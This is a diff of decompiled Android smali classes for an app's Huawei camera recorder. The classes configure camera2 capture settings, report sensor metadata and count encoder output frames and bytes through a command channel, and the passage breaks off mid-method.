invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 163
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->sfd:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 164
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->set:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 165
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 166
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->caem:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 167
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->caft:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 168
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
|
||||
|
||||
.line 171
|
||||
:cond_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
new-instance v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;-><init>(Lcom/nvav/srv/recorder/CameraHUAWEI$2;)V
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingThread:Ljava/lang/Thread;
|
||||
|
||||
.line 254
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingThread:Ljava/lang/Thread;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Thread;->start()V
|
||||
|
||||
.line 256
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1
|
||||
|
||||
if-eqz p1, :cond_1
|
||||
|
||||
const-wide/16 v0, 0xfa
|
||||
|
||||
.line 258
|
||||
:try_start_1
|
||||
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 260
|
||||
:try_start_2
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 262
|
||||
:goto_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 263
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->lfd:F
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 264
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
|
||||
|
||||
.line 265
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception p1
|
||||
|
||||
.line 268
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_1
|
||||
:goto_1
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 297
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession re"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,242 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEI$3;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
|
||||
.source "CameraHUAWEI.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field lat:D
|
||||
|
||||
.field lon:D
|
||||
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
.field time_out_param:J
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
|
||||
.locals 2
|
||||
|
||||
.line 304
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
|
||||
|
||||
.line 305
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->time_out_param:J
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 306
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lat:D
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lon:D
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
|
||||
.locals 7
|
||||
|
||||
.line 313
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->time_out_param:J
|
||||
|
||||
sub-long/2addr p1, v0
|
||||
|
||||
const-wide/16 v0, 0xc8
|
||||
|
||||
cmp-long p1, p1, v0
|
||||
|
||||
if-lez p1, :cond_0
|
||||
|
||||
.line 314
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lat:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lon:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 315
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
const-wide/32 v3, 0x3b9aca00
|
||||
|
||||
div-long/2addr v3, p1
|
||||
|
||||
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 316
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 317
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 318
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 314
|
||||
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
|
||||
|
||||
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 319
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->length()I
|
||||
|
||||
move-result p3
|
||||
|
||||
add-int/lit8 p3, p3, 0x1
|
||||
|
||||
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
const/16 v0, 0x4d
|
||||
|
||||
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 320
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->time_out_param:J
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
|
||||
.locals 0
|
||||
|
||||
.line 327
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string p2, "time %d"
|
||||
|
||||
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string p2, "CameraCaptureSession pr"
|
||||
|
||||
invoke-static {p2, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,40 @@
|
||||
.class public final synthetic Lcom/nvav/srv/recorder/CameraHUAWEIn$$ExternalSyntheticLambda0;
|
||||
.super Ljava/lang/Object;
|
||||
.source "D8$$SyntheticClass"
|
||||
|
||||
# interfaces
|
||||
.implements Ljava/util/function/Predicate;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field public final synthetic f$0:Ljava/lang/String;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public synthetic constructor <init>(Ljava/lang/String;)V
|
||||
.locals 0
|
||||
|
||||
.line 0
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public final test(Ljava/lang/Object;)Z
|
||||
.locals 1
|
||||
|
||||
.line 0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
check-cast p1, Ljava/lang/String;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
|
||||
|
||||
move-result p1
|
||||
|
||||
return p1
|
||||
.end method
|
||||
@@ -0,0 +1,488 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$1;
|
||||
.super Landroid/media/MediaCodec$Callback;
|
||||
.source "CameraHUAWEIn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
|
||||
.locals 0
|
||||
|
||||
.line 69
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-direct {p0}, Landroid/media/MediaCodec$Callback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onError(Landroid/media/MediaCodec;Landroid/media/MediaCodec$CodecException;)V
|
||||
.locals 0
|
||||
|
||||
.line 147
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=MediaCodecf onError."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onInputBufferAvailable(Landroid/media/MediaCodec;I)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOutputBufferAvailable(Landroid/media/MediaCodec;ILandroid/media/MediaCodec$BufferInfo;)V
|
||||
.locals 9
|
||||
|
||||
const/4 p1, 0x1
|
||||
|
||||
.line 78
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0, p2}, Landroid/media/MediaCodec;->getOutputBuffer(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
if-eqz v0, :cond_3
|
||||
|
||||
.line 80
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
if-eqz v1, :cond_3
|
||||
|
||||
.line 81
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
|
||||
|
||||
iget v3, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
add-int/2addr v2, v3
|
||||
|
||||
iput v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
|
||||
|
||||
.line 82
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-short v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
|
||||
|
||||
add-int/2addr v2, p1
|
||||
|
||||
int-to-short v2, v2
|
||||
|
||||
iput-short v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
|
||||
|
||||
.line 83
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v1
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-wide v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->timebyte:J
|
||||
|
||||
sub-long/2addr v1, v3
|
||||
|
||||
const-wide/16 v3, 0x3e8
|
||||
|
||||
cmp-long v1, v1, v3
|
||||
|
||||
const/16 v2, 0x8
|
||||
|
||||
const/4 v3, 0x0
|
||||
|
||||
if-lez v1, :cond_0
|
||||
|
||||
.line 84
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const/16 v4, 0xb
|
||||
|
||||
invoke-static {v4}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v4, v2}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-short v5, v5, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
|
||||
|
||||
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putShort(S)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v5, v5, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
|
||||
|
||||
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v5
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-wide v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->timebyte:J
|
||||
|
||||
